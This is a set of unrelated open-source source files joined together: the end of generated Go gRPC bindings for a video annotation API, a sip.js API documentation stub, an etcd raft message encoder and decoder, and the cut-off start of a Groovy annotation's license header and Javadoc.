json:"word,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *WordInfo) Reset() { *m = WordInfo{} } func (m *WordInfo) String() string { return proto.CompactTextString(m) } func (*WordInfo) ProtoMessage() {} func (*WordInfo) Descriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{20} } func (m *WordInfo) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_WordInfo.Unmarshal(m, b) } func (m *WordInfo) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_WordInfo.Marshal(b, m, deterministic) } func (m *WordInfo) XXX_Merge(src proto.Message) { xxx_messageInfo_WordInfo.Merge(m, src) } func (m *WordInfo) XXX_Size() int { return xxx_messageInfo_WordInfo.Size(m) } func (m *WordInfo) XXX_DiscardUnknown() { xxx_messageInfo_WordInfo.DiscardUnknown(m) } var xxx_messageInfo_WordInfo proto.InternalMessageInfo func (m *WordInfo) GetStartTime() *duration.Duration { if m != nil { return m.StartTime } return nil } func (m *WordInfo) GetEndTime() *duration.Duration { if m != nil { return m.EndTime } return nil } func (m *WordInfo) GetWord() string { if m != nil { return m.Word } return "" } func init() { proto.RegisterEnum("google.cloud.videointelligence.v1p1beta1.Feature", Feature_name, Feature_value) proto.RegisterEnum("google.cloud.videointelligence.v1p1beta1.LabelDetectionMode", LabelDetectionMode_name, LabelDetectionMode_value) proto.RegisterEnum("google.cloud.videointelligence.v1p1beta1.Likelihood", Likelihood_name, Likelihood_value) proto.RegisterType((*AnnotateVideoRequest)(nil), "google.cloud.videointelligence.v1p1beta1.AnnotateVideoRequest") proto.RegisterType((*VideoContext)(nil), "google.cloud.videointelligence.v1p1beta1.VideoContext") proto.RegisterType((*LabelDetectionConfig)(nil), "google.cloud.videointelligence.v1p1beta1.LabelDetectionConfig") proto.RegisterType((*ShotChangeDetectionConfig)(nil), "google.cloud.videointelligence.v1p1beta1.ShotChangeDetectionConfig") proto.RegisterType((*ExplicitContentDetectionConfig)(nil), "google.cloud.videointelligence.v1p1beta1.ExplicitContentDetectionConfig") proto.RegisterType((*VideoSegment)(nil), "google.cloud.videointelligence.v1p1beta1.VideoSegment") proto.RegisterType((*LabelSegment)(nil), "google.cloud.videointelligence.v1p1beta1.LabelSegment") proto.RegisterType((*LabelFrame)(nil), "google.cloud.videointelligence.v1p1beta1.LabelFrame") proto.RegisterType((*Entity)(nil), "google.cloud.videointelligence.v1p1beta1.Entity") proto.RegisterType((*LabelAnnotation)(nil), "google.cloud.videointelligence.v1p1beta1.LabelAnnotation") proto.RegisterType((*ExplicitContentFrame)(nil), "google.cloud.videointelligence.v1p1beta1.ExplicitContentFrame") proto.RegisterType((*ExplicitContentAnnotation)(nil), "google.cloud.videointelligence.v1p1beta1.ExplicitContentAnnotation") proto.RegisterType((*VideoAnnotationResults)(nil), "google.cloud.videointelligence.v1p1beta1.VideoAnnotationResults") proto.RegisterType((*AnnotateVideoResponse)(nil), "google.cloud.videointelligence.v1p1beta1.AnnotateVideoResponse") proto.RegisterType((*VideoAnnotationProgress)(nil), "google.cloud.videointelligence.v1p1beta1.VideoAnnotationProgress") proto.RegisterType((*AnnotateVideoProgress)(nil), "google.cloud.videointelligence.v1p1beta1.AnnotateVideoProgress") proto.RegisterType((*SpeechTranscriptionConfig)(nil), "google.cloud.videointelligence.v1p1beta1.SpeechTranscriptionConfig") proto.RegisterType((*SpeechContext)(nil), "google.cloud.videointelligence.v1p1beta1.SpeechContext") proto.RegisterType((*SpeechTranscription)(nil), "google.cloud.videointelligence.v1p1beta1.SpeechTranscription") proto.RegisterType((*SpeechRecognitionAlternative)(nil), "google.cloud.videointelligence.v1p1beta1.SpeechRecognitionAlternative") proto.RegisterType((*WordInfo)(nil), "google.cloud.videointelligence.v1p1beta1.WordInfo") } // Reference imports to suppress errors if they are not otherwise used. var _ context.Context var _ grpc.ClientConn // This is a compile-time assertion to ensure that this generated file // is compatible with the grpc package it is being compiled against. const _ = grpc.SupportPackageIsVersion4 // VideoIntelligenceServiceClient is the client API for VideoIntelligenceService service. // // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://godoc.org/google.golang.org/grpc#ClientConn.NewStream. type VideoIntelligenceServiceClient interface { // Performs asynchronous video annotation. Progress and results can be // retrieved through the `google.longrunning.Operations` interface. // `Operation.metadata` contains `AnnotateVideoProgress` (progress). // `Operation.response` contains `AnnotateVideoResponse` (results). AnnotateVideo(ctx context.Context, in *AnnotateVideoRequest, opts ...grpc.CallOption) (*longrunning.Operation, error) } type videoIntelligenceServiceClient struct { cc *grpc.ClientConn } func NewVideoIntelligenceServiceClient(cc *grpc.ClientConn) VideoIntelligenceServiceClient { return &videoIntelligenceServiceClient{cc} } func (c *videoIntelligenceServiceClient) AnnotateVideo(ctx context.Context, in *AnnotateVideoRequest, opts ...grpc.CallOption) (*longrunning.Operation, error) { out := new(longrunning.Operation) err := c.cc.Invoke(ctx, "/google.cloud.videointelligence.v1p1beta1.VideoIntelligenceService/AnnotateVideo", in, out, opts...) if err != nil { return nil, err } return out, nil } // VideoIntelligenceServiceServer is the server API for VideoIntelligenceService service. type VideoIntelligenceServiceServer interface { // Performs asynchronous video annotation. Progress and results can be // retrieved through the `google.longrunning.Operations` interface. // `Operation.metadata` contains `AnnotateVideoProgress` (progress). // `Operation.response` contains `AnnotateVideoResponse` (results). AnnotateVideo(context.Context, *AnnotateVideoRequest) (*longrunning.Operation, error) } func RegisterVideoIntelligenceServiceServer(s *grpc.Server, srv VideoIntelligenceServiceServer) { s.RegisterService(&_VideoIntelligenceService_serviceDesc, srv) } func _VideoIntelligenceService_AnnotateVideo_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(AnnotateVideoRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(VideoIntelligenceServiceServer).AnnotateVideo(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/google.cloud.videointelligence.v1p1beta1.VideoIntelligenceService/AnnotateVideo", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(VideoIntelligenceServiceServer).AnnotateVideo(ctx, req.(*AnnotateVideoRequest)) } return interceptor(ctx, in, info, handler) } var _VideoIntelligenceService_serviceDesc = grpc.ServiceDesc{ ServiceName: "google.cloud.videointelligence.v1p1beta1.VideoIntelligenceService", HandlerType: (*VideoIntelligenceServiceServer)(nil), Methods: []grpc.MethodDesc{ { MethodName: "AnnotateVideo", Handler: _VideoIntelligenceService_AnnotateVideo_Handler, }, }, Streams: []grpc.StreamDesc{}, Metadata: "google/cloud/videointelligence/v1p1beta1/video_intelligence.proto", } func init() { proto.RegisterFile("google/cloud/videointelligence/v1p1beta1/video_intelligence.proto", fileDescriptor_9e6ec0147460ac77) } var fileDescriptor_9e6ec0147460ac77 = []byte{ // 1807 bytes of a gzipped FileDescriptorProto 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xa4, 0x58, 0xcd, 0x6f, 0x23, 0x49, 0x15, 0xa7, 0xed, 0xc4, 0x89, 0x9f, 0x9d, 0xd8, 0x53, 0x71, 0x12, 0x27, 0x3b, 0x93, 0xc9, 0xf6, 0x82, 0x94, 0x1d, 0x90, 0x4d, 0xc2, 0x6a, 0x61, 0x67, 0x61, 0xb5, 0x8e, 0xd3, 0xd9, 0x58, 0x64, 0x62, 0xab, 0xec, 0x09, 0x0c, 0x0c, 0x6a, 0x3a, 0xdd, 0xe5, 0x4e, 0x33, 0xed, 0xae, 0xde, 0xee, 0xea, 0x30, 0x73, 0x5b, 0x3e, 0x24, 0x90, 0x40, 0x5c, 0x46, 0x48, 0xfc, 0x09, 0x88, 0x23, 0xff, 0x00, 0x17, 0x2e, 0x70, 0xe5, 0x84, 0x04, 0x37, 0xfe, 0x0b, 0x2e, 0xab, 0xae, 0xaa, 0xb6, 0xdb, 0x76, 0xbe, 0x9c, 0xdc, 0xdc, 0xef, 0xe3, 0xf7, 0x3e, 0xea, 0xd5, 0x7b, 0xaf, 0x0c, 0x0d, 0x9b, 0x52, 0xdb, 0x25, 0x75, 0xd3, 0xa5, 0x91, 0x55, 0xbf, 0x70, 0x2c, 0x42, 0x1d, 0x8f, 0x11, 0xd7, 0x75, 0x6c, 0xe2, 0x99, 0xa4, 0x7e, 0xb1, 0xeb, 0xef, 0x9e, 0x11, 0x66, 0xec, 0x0a, 0x9e, 0x9e, 0x66, 0xd6, 0xfc, 0x80, 0x32, 0x8a, 0x76, 0x04, 0x44, 0x8d, 0x43, 0xd4, 0xa6, 0x20, 0x6a, 0x43, 0x88, 0xcd, 0x87, 0xd2, 0x98, 0xe1, 0x3b, 0x75, 0xc3, 0xf3, 0x28, 0x33, 0x98, 0x43, 0xbd, 0x50, 0xe0, 0x6c, 0xbe, 0x27, 0xb9, 0x2e, 0xf5, 0xec, 0x20, 0xf2, 0x3c, 0xc7, 0xb3, 0xeb, 0xd4, 0x27, 0xc1, 0x98, 0xd0, 0x96, 0x14, 0xe2, 0x5f, 0x67, 0x51, 0xbf, 0x6e, 0x45, 0x42, 0x40, 0xf2, 0x1f, 0x4f, 0xf2, 0x99, 0x33, 0x20, 0x21, 0x33, 0x06, 0xbe, 0x14, 0x58, 0x97, 0x02, 0x81, 0x6f, 0xd6, 0x43, 0x66, 0xb0, 0x48, 0x22, 0xab, 0x7f, 0xcf, 0x40, 0xa5, 0x21, 0x9c, 0x22, 0xa7, 0x71, 0x10, 0x98, 0x7c, 0x1e, 0x91, 0x90, 0xa1, 0x77, 0x20, 0xef, 0x78, 0x7e, 0xc4, 0xf4, 0x28, 0x70, 0xaa, 0xca, 0xb6, 0xb2, 0x93, 0xc7, 0x8b, 0x9c, 0xf0, 0x3c, 0x70, 0xd0, 0x7b, 0xb0, 0x24, 0x98, 0x26, 0xf5, 0x18, 0xf1, 0x58, 0x35, 0xb7, 0xad, 0xec, 0x14, 0x71, 0x91, 0x13, 0x9b, 0x82, 0x86, 0x9e, 0xc1, 0x62, 0x9f, 0x18, 0x2c, 0x0a, 0x48, 0x58, 0xcd, 0x6c, 0x67, 0x77, 0x96, 0xf7, 0x76, 0x6b, 0xb7, 0x4d, 0x5a, 0xed, 0x50, 0x68, 0xe2, 0x21, 0x04, 0xfa, 0x31, 0x2c, 0x89, 0xc3, 0xe0, 0x36, 0x5f, 0xb3, 0x6a, 0x76, 0x5b, 0xd9, 0x29, 0xec, 0x7d, 0x78, 0x7b, 0x4c, 0x1e, 0x5f, 0x53, 0x68, 0xe3, 0xe2, 0x45, 0xea, 0x0b, 0x3d, 0x02, 0xa0, 0x11, 0x4b, 0xc2, 0x9d, 0xe3, 0xe1, 0xe6, 0x05, 0x25, 0x8e, 0xf7, 0x31, 0x14, 0x5c, 0x6a, 0xf2, 0x8c, 0xeb, 0x8e, 0x55, 0x9d, 0xe7, 0x7c, 0x48, 0x48, 0x2d, 0x4b, 0xfd, 0xff, 0x1c, 0x14, 0xd3, 0xf0, 0x08, 0xc3, 0x62, 0x48, 0xec, 0x01, 0xf1, 0x58, 0x58, 0x55, 0xb6, 0xb3, 0x77, 0x70, 0xb4, 0x2b, 0xd4, 0xf1, 0x10, 0x07, 0x31, 0x58, 0x73, 0x8d, 0x33, 0xe2, 0xea, 0x16, 0x61, 0xc4, 0xe4, 0xce, 0x98, 0xd4, 0xeb, 0x3b, 0x76, 0x35, 0xc3, 0x53, 0xf1, 0xc9, 0xed, 0x2d, 0x1c, 0xc7, 0x38, 0x07, 0x09, 0x4c, 0x93, 0xa3, 0xe0, 0x8a, 0x7b, 0x09, 0x15, 0xfd, 0x5a, 0x81, 0x87, 0xe1, 0x39, 0x65, 0xba, 0x79, 0x6e, 0x78, 0x36, 0x99, 0x36, 0x2e, 0xce, 0xa1, 0x79, 0x7b, 0xe3, 0xdd, 0x73, 0xca, 0x9a, 0x1c, 0x6c, 0xd2, 0x83, 0x8d, 0xf0, 0x2a, 0x16, 0x7a, 0xab, 0xc0, 0xbb, 0xe4, 0xb5, 0xef, 0x3a, 0xa6, 0x33, 0x2c, 0xbb, 0x69, 0x5f, 0xe6, 0xb8, 0x2f, 0x47, 0xb7, 0xf7, 0x45, 0x93, 0x90, 0xb2, 0x68, 0x27, 0x1d, 0xda, 0x22, 0xd7, 0xf2, 0xd1, 0xaf, 0x14, 0x78, 0x27, 0xf4, 0x09, 0x31, 0xcf, 0x75, 0x16, 0x18, 0x5e, 0x68, 0x06, 0x8e, 0x9f, 0xf6, 0x27, 0x37, 0x73, 0x6e, 0x38, 0x58, 0x2f, 0x8d, 0x35, 0xcc, 0xcd, 0x55, 0x2c, 0xf5, 0x1f, 0x0a, 0x54, 0x2e, 0x3b, 0x51, 0xe4, 0x41, 0x65, 0xb2, 0x62, 0x06, 0xd4, 0x22, 0xfc, 0x3e, 0x2f, 0xef, 0x7d, 0xf7, 0xae, 0xf5, 0xf2, 0x8c, 0x5a, 0x04, 0x23, 0x77, 0x8a, 0x86, 0xbe, 0x0e, 0x0f, 0x42, 0xd1, 0xde, 0x8c, 0xe0, 0x8d, 0x6e, 0x1a, 0x03, 0x12, 0x18, 0xbc, 0x38, 0x17, 0x71, 0x79, 0xc4, 0x68, 0x72, 0x3a, 0xaa, 0xc0, 0x7c, 0xec, 0x8c, 0xcb, 0x0b, 0x28, 0x8f, 0xc5, 0x87, 0xba, 0x0b, 0x1b, 0x57, 0xd6, 0xc7, 0x48, 0x45, 0x49, 0xab, 0x7c, 0x08, 0x5b, 0xd7, 0x1f, 0xe3, 0x15, 0x7a, 0x7f, 0x52, 0xe4, 0xa5, 0x95, 0x57, 0x0d, 0x69, 0xdc, 0xfd, 0x80, 0xe9, 0x71, 0xfb, 0xd4, 0x69, 0xbf, 0x1f, 0x12, 0xc6, 0x55, 0x0a, 0x7b, 0x1b, 0x49, 0xae, 0x92, 0x16, 0x5b, 0x3b, 0x90, 0x2d, 0x18, 0x97, 0xb8, 0x4e, 0xcf, 0x19, 0x90, 0x36, 0xd7, 0x40, 0x0d, 0x28, 0x11, 0xcf, 0x1a, 0x03, 0xc9, 0xdc, 0x04, 0xb2, 0x44, 0x3c, 0x6b, 0x04, 0xa1, 0x7e, 0xa1, 0x40, 0x91, 0xe7, 0x3c, 0x71, 0xad, 0x03, 0x0b, 0xb2, 0x0f, 0x48, 0x87, 0xee, 0xda, 0x4e, 0x12, 0x18, 0xb4, 0x05, 0xc0, 0x8b, 0xd4, 0x8a, 0xa5, 0xb9, 0x83, 0x19, 0x9c, 0xa2, 0xa8, 0xe7, 0x00, 0xdc, 0x83, 0xc3, 0xc0, 0x18, 0x10, 0xf4, 0x14, 0x0a, 0x33, 0x25, 0x05, 0xd8, 0x28, 0x1f, 0x37, 0x59, 0x72, 0x21, 0xa7, 0x79, 0xcc, 0x61, 0x6f, 0xe2, 0xa1, 0x43, 0xf8, 0xaf, 0xb8, 0xcb, 0xca, 0xa1, 0x23, 0x08, 0x2d, 0x0b, 0x6d, 0x43, 0xc1, 0x22, 0xc3, 0xd2, 0xe7, 0x38, 0x79, 0x9c, 0x26, 0xc5, 0x63, 0xc9, 0x35, 0x3c, 0x3b, 0x32, 0x6c, 0xa2, 0x9b, 0x71, 0x9d, 0x8b, 0xca, 0x2a, 0x26, 0xc4, 0x26, 0xb5, 0x88, 0xfa, 0x9f, 0x0c, 0x94, 0x78, 0x60, 0x8d, 0xe1, 0x2c, 0x46, 0x47, 0x90, 0x13, 0x66, 0x64, 0x60, 0xdf, 0x9c, 0xa1, 0x81, 0x70, 0x3d, 0x2c, 0xf5, 0xd1, 0x4f, 0xe0, 0x81, 0x69, 0x30, 0x62, 0xd3, 0xe0, 0x8d, 0xce, 0x49, 0x8e, 0x9c, 0x7e, 0x77, 0x01, 0x2d, 0x27, 0x50, 0x9a, 0x44, 0x1a, 0x1b, 0x2b, 0xd9, 0x59, 0xc7, 0x4a, 0xba, 0xa0, 0x52, 0x63, 0xe5, 0x18, 0x72, 0xfd, 0xf8, 0x8c, 0xc3, 0xea, 0x1c, 0x47, 0xfc, 0x60, 0x46, 0x44, 0x5e, 0x20, 0x58, 0x62, 0xa8, 0x7f, 0x53, 0xa0, 0x32, 0x71, 0x1b, 0xef, 0x5f, 0x41, 0xaf, 0x60, 0xcd, 0xa7, 0x81, 0x47, 0xed, 0xc0, 0xf0, 0xcf, 0xdf, 0xe8, 0xae, 0xf3, 0x8a, 0xb8, 0xce, 0x39, 0xa5, 0x16, 0xaf, 0x82, 0xe5, 0x99, 0x5c, 0x1e, 0xea, 0xe2, 0xd5, 0x14, 0xe6, 0x88, 0xac, 0x86, 0xb0, 0x31, 0x11, 0x40, 0xaa, 0x52, 0x4e, 0x87, 0xc9, 0x12, 0x53, 0xfd, 0x93, 0x3b, 0x8f, 0x9a, 0xf1, 0xb4, 0xfd, 0x26, 0x07, 0x6b, 0xfc, 0x9e, 0x8e, 0x6c, 0x61, 0x12, 0x46, 0x2e, 0x0b, 0xaf, 0xdf, 0xc4, 0x22, 0xd8, 0x90, 0x07, 0xa9, 0x8b, 0x4e, 0x9f, 0xda, 0x30, 0x65, 0xdd, 0x7d, 0x34, 0xe3, 0x79, 0xa6, 0x3c, 0x58, 0x97, 0xd8, 0x13, 0xf4, 0x10, 0x51, 0x58, 0xe3, 0x3b, 0xc1, 0xb4, 0xcd, 0xec, 0x7d, 0x6d, 0x56, 0x62, 0xe0, 0x29, 0x83, 0x9f, 0xc3, 0x3a, 0xcf, 0xd4, 0x25, 0x16, 0xe7, 0xee, 0x6b, 0x71, 0x95, 0x23, 0x4f, 0x99, 0x34, 0xa0, 0xcc, 0x63, 0x4c, 0xdb, 0xca, 0xdd, 0x6b, 0x95, 0x2b, 0xc5, 0x78, 0x69, 0x13, 0x0c, 0x56, 0x86, 0x3b, 0xcd, 0xc8, 0x4c, 0x75, 0x61, 0xd6, 0xad, 0xe1, 0xca, 0x7a, 0xc5, 0x28, 0xc1, 0x4f, 0xd5, 0x70, 0x00, 0xab, 0x97, 0xed, 0x2c, 0x61, 0xb5, 0xc0, 0xa3, 0xfb, 0xde, 0xbd, 0xb6, 0x15, 0x5c, 0xb9, 0x64, 0x4f, 0x09, 0xd1, 0x0e, 0xcc, 0x93, 0x20, 0xa0, 0x41, 0x35, 0xcf, 0x63, 0x43, 0x89, 0x8d, 0xc0, 0x37, 0x6b, 0x5d, 0xfe, 0x20, 0xc1, 0x42, 0x40, 0xfd, 0xad, 0x02, 0xab, 0x13, 0x2f, 0x92, 0xd0, 0xa7, 0x5e, 0x48, 0x10, 0x05, 0x34, 0x4a, 0x92, 0x1e, 0x88, 0xeb, 0x21, 0xef, 0xe1, 0xa7, 0x33, 0x1e, 0xc9, 0xd4, 0x35, 0xc3, 0x0f, 0x8c, 0x49, 0x92, 0xfa, 0x6f, 0x05, 0xd6, 0x27, 0xa4, 0x3b, 0x01, 0xb5, 0x03, 0x12, 0xde, 0x70, 0x2b, 0xdf, 0x87, 0xb2, 0x2f, 0x05, 0x75, 0x9f, 0x04, 0x66, 0x3c, 0xb6, 0xe3, 0x4e, 0x35, 0x8f, 0x4b, 0x09, 0xbd, 0x23, 0xc8, 0xe8, 0x23, 0x80, 0xd1, 0xce, 0x21, 0x77, 0xe9, 0xcd, 0xa9, 0xae, 0xd8, 0x4b, 0xde, 0x73, 0x38, 0x3f, 0xdc, 0x36, 0xd0, 0xc7, 0x50, 0x88, 0x7c, 0xcb, 0x60, 0x44, 0xe8, 0xce, 0xdd, 0xa8, 0x0b, 0x42, 0x3c, 0x26, 0xa8, 0xbf, 0x9b, 0x4c, 0xf3, 0x30, 0xb2, 0x00, 0x56, 0x52, 0x69, 0x4e, 0xfc, 0x95, 0x79, 0x6e, 0xdc, 0x39, 0xcf, 0x09, 0x3e, 0x4e, 0x1d, 0x62, 0x42, 0x53, 0xff, 0x9b, 0x81, 0x8d, 0x2b, 0x57, 0xdf, 0xe9, 0xb9, 0xae, 0x4c, 0xcf, 0xf5, 0x38, 0xe7, 0x03, 0xe3, 0xb5, 0x6e, 0xb8, 0x8c, 0x04, 0x9e, 0xc1, 0x9c, 0x0b, 0x3e, 0x78, 0x79, 0xce, 0x07, 0xc6, 0xeb, 0x46, 0x8a, 0x1c, 0x8b, 0xf6, 0x9d, 0x98, 0x10, 0x47, 0xd7, 0x37, 0xbc, 0x78, 0xf0, 0x67, 0xf9, 0x96, 0x5a, 0x12, 0xf4, 0x4e, 0x42, 0x46, 0x3f, 0x85, 0x92, 0xbc, 0x2b, 0xf2, 0xd9, 0x99, 0xf4, 0x9b, 0x6f, 0xcf, 0x7a, 0x4b, 0x92, 0x87, 0xe7, 0x72, 0x98, 0xfe, 0x0c, 0xd1, 0xa7, 0xf0, 0x90, 0x78, 0xc6, 0x99, 0x4b, 0x74, 0x23, 0x62, 0x74, 0x60, 0x30, 0xc7, 0xd4, 0xfd, 0xc8, 0x33, 0x59, 0x24, 0x9a, 0xc1, 0x3c, 0x77, 0x6c, 0x53, 0xc8, 0x34, 0x12, 0x91, 0xce, 0x48, 0x02, 0xbd, 0x0b, 0x45, 0x23, 0xb2, 0x1c, 0x1a, 0x5f, 0x67, 0xf3, 0x95, 0x68, 0x52, 0xf3, 0xb8, 0xc0, 0x69, 0x3d, 0x4e, 0x52, 0xdf, 0x87, 0xa5, 0x31, 0x2f, 0x50, 0x15, 0x16, 0xfc, 0xf3, 0xc0, 0x08, 0xe5, 0x20, 0xcb, 0xe3, 0xe4, 0x53, 0xfd, 0x85, 0x02, 0x2b, 0x97, 0x1c, 0x05, 0xfa, 0x19, 0x14, 0xc7, 0x72, 0x2b, 0xea, 0xe1, 0x70, 0xd6, 0x34, 0x60, 0x62, 0x52, 0xdb, 0x73, 0x62, 0xc8, 0xd4, 0x99, 0xe0, 0x31, 0x6c, 0xf5, 0xcf, 0x0a, 0x3c, 0xbc, 0x4e, 0x3c, 0x5e, 0x29, 0x47, 0xbd, 0x4b, 0x96, 0x43, 0x8a, 0x72, 0xd3, 0xca, 0x89, 0x8e, 0x60, 0xfe, 0xe7, 0x34, 0xb0, 0x92, 0x71, 0xb5, 0x77, 0xfb, 0x28, 0x7e, 0x40, 0x03, 0xab, 0xe5, 0xf5, 0x29, 0x16, 0x00, 0xea, 0x1f, 0x14, 0x58, 0x4c, 0x68, 0xe8, 0x3b, 0x63, 0x97, 0xf9, 0xc6, 0x15, 0x27, 0x75, 0x97, 0x3f, 0x80, 0xc5, 0xe4, 0xcd, 0x70, 0xf3, 0x63, 0x61, 0x41, 0x3e, 0x16, 0x10, 0x82, 0xb9, 0xd8, 0x0b, 0xb9, 0xe7, 0xf2, 0xdf, 0x4f, 0x7e, 0xaf, 0xc0, 0x82, 0xfc, 0xf7, 0x04, 0xad, 0xc3, 0xca, 0xa1, 0xd6, 0xe8, 0x3d, 0xc7, 0x9a, 0xfe, 0xfc, 0xa4, 0xdb, 0xd1, 0x9a, 0xad, 0xc3, 0x96, 0x76, 0x50, 0xfe, 0x0a, 0x5a, 0x81, 0xd2, 0x71, 0x63, 0x5f, 0x3b, 0xd6, 0x0f, 0xb4, 0x9e, 0xd6, 0xec, 0xb5, 0xda, 0x27, 0x65, 0x05, 0x6d, 0xc0, 0x6a, 0xf7, 0xa8, 0xdd, 0xd3, 0x9b, 0x47, 0x8d, 0x93, 0xcf, 0xb4, 0x14, 0x2b, 0x83, 0xb6, 0x60, 0x53, 0xfb, 0x61, 0xe7, 0xb8, 0xd5, 0x6c, 0xf5, 0xf4, 0x66, 0xfb, 0xa4, 0xa7, 0x9d, 0xf4, 0x52, 0xfc, 0x2c, 0xaa, 0x42, 0xa5, 0xdb, 0xd1, 0xb4, 0xe6, 0x91, 0xde, 0xc3, 0x8d, 0x93, 0x6e, 0x13, 0xb7, 0x3a, 0x9c, 0x93, 0x7b, 0x12, 0x00, 0x9a, 0x7e, 0x3c, 0xa2, 0xaf, 0xc2, 0xf6, 0x84, 0x7d, 0xfd, 0x59, 0xfb, 0x60, 0xd2, 0xcb, 0x25, 0xc8, 0x73, 0x87, 0x62, 0x56, 0x59, 0x41, 0xcb, 0x00, 0x87, 0xb8, 0xf1, 0x4c, 0x13, 0xdf, 0x99, 0x38, 0x3a, 0xce, 0x6e, 0x9c, 0x1c, 0xe8, 0x29, 0x46, 0xf6, 0x09, 0x03, 0x18, 0xed, 0x73, 0x68, 0x13, 0xd6, 0x8e, 0x5b, 0xdf, 0xd7, 0x8e, 0x5b, 0x47, 0xed, 0xf6, 0xc1, 0x84, 0x85, 0x07, 0xb0, 0x74, 0xaa, 0xe1, 0x17, 0xfa, 0xf3, 0x13, 0x2e, 0xf2, 0xa2, 0xac, 0xa0, 0x22, 0x2c, 0x0e, 0xbf, 0x32, 0xf1, 0x57, 0xa7, 0xdd, 0xed, 0xb6, 0xf6, 0x8f, 0xb5, 0x72, 0x16, 0x01, 0xe4, 0x24, 0x67, 0x0e, 0x95, 0xa0, 0xc0, 0x55, 0x25, 0x61, 0x7e, 0xef, 0xaf, 0x0a, 0x54, 0x79, 0xcf, 0x6b, 0xa5, 0x2a, 0xa7, 0x4b, 0x82, 0x0b, 0xc7, 0x24, 0xe8, 0x8f, 0x0a, 0x2c, 0x8d, 0xb5, 0x5b, 0x34, 0xc3, 0xe6, 0x78, 0xd9, 0x1f, 0x74, 0x9b, 0x8f, 0x12, 0xfd, 0xd4, 0x3f, 0x87, 0xb5, 0x76, 0xf2, 0xcf, 0xa1, 0xfa, 0xb5, 0x5f, 0xfe, 0xeb, 0x7f, 0x6f, 0x33, 0x8f, 0xd5, 0xcd, 0xc9, 0x3f, 0x33, 0xc3, 0xa7, 0xb2, 0xff, 0x92, 0xa7, 0xca, 0x93, 0xfd, 0x2f, 0x32, 0xf0, 0x0d, 0x93, 0x0e, 0x6e, 0xed, 0xcb, 0xfe, 0xa3, 0xab, 0x42, 0xec, 0xc4, 0x65, 0xda, 0x51, 0x7e, 0xf4, 0x42, 0x42, 0xd9, 0x34, 0x6e, 0xcf, 0x35, 0x1a, 0xd8, 0x75, 0x9b, 0x78, 0xbc, 0x88, 0xeb, 0x82, 0x65, 0xf8, 0x4e, 0x78, 0xf3, 0x5f, 0xaf, 0x1f, 0x4f, 0xf1, 0xfe, 0x92, 0xd9, 0xf9, 0x4c, 0x60, 0x37, 0xb9, 0x9b, 0x53, 0x9e, 0xd4, 0x4e, 0x77, 0x3b, 0xbb, 0xfb, 0xb1, 0xf2, 0x3f, 0x13, 0xd1, 0x97, 0x5c, 0xf4, 0xe5, 0x94, 0xe8, 0xcb, 0xd3, 0xc4, 0xce, 0x59, 0x8e, 0xfb, 0xf6, 0xad, 0x2f, 0x03, 0x00, 0x00, 0xff, 0xff, 0x82, 0x99, 0xe4, 0x9b, 0x15, 0x16, 0x00, 0x00, }
{ "pile_set_name": "Github" }
<!-- Do not edit this file. It is automatically generated by API Documenter. --> [Home](./index.md) &gt; [sip.js](./sip.js.md) &gt; [PublisherOptions](./sip.js.publisheroptions.md) &gt; [unpublishOnClose](./sip.js.publisheroptions.unpublishonclose.md) ## PublisherOptions.unpublishOnClose property If set true, UA will gracefully unpublish for the event on UA close. <b>Signature:</b> ```typescript unpublishOnClose?: boolean; ```
{ "pile_set_name": "Github" }
// Copyright 2015 The etcd Authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package rafthttp import ( "encoding/binary" "errors" "io" "github.com/coreos/etcd/pkg/pbutil" "github.com/coreos/etcd/raft/raftpb" ) // messageEncoder is a encoder that can encode all kinds of messages. // It MUST be used with a paired messageDecoder. type messageEncoder struct { w io.Writer } func (enc *messageEncoder) encode(m *raftpb.Message) error { if err := binary.Write(enc.w, binary.BigEndian, uint64(m.Size())); err != nil { return err } _, err := enc.w.Write(pbutil.MustMarshal(m)) return err } // messageDecoder is a decoder that can decode all kinds of messages. type messageDecoder struct { r io.Reader } var ( readBytesLimit uint64 = 512 * 1024 * 1024 // 512 MB ErrExceedSizeLimit = errors.New("rafthttp: error limit exceeded") ) func (dec *messageDecoder) decode() (raftpb.Message, error) { return dec.decodeLimit(readBytesLimit) } func (dec *messageDecoder) decodeLimit(numBytes uint64) (raftpb.Message, error) { var m raftpb.Message var l uint64 if err := binary.Read(dec.r, binary.BigEndian, &l); err != nil { return m, err } if l > numBytes { return m, ErrExceedSizeLimit } buf := make([]byte, int(l)) if _, err := io.ReadFull(dec.r, buf); err != nil { return m, err } return m, m.Unmarshal(buf) }
{ "pile_set_name": "Github" }
/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package groovy.lang; import org.codehaus.groovy.transform.GroovyASTTransformationClass; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; /** * Annotation that supports writing constructor call expressions without the 'new' * keyword. Instead they can be written "Ruby-style" as a method call to a 'new' * method or "Python-style" by just omitting the keyword missing. * <p> * It allows you to write code snippets 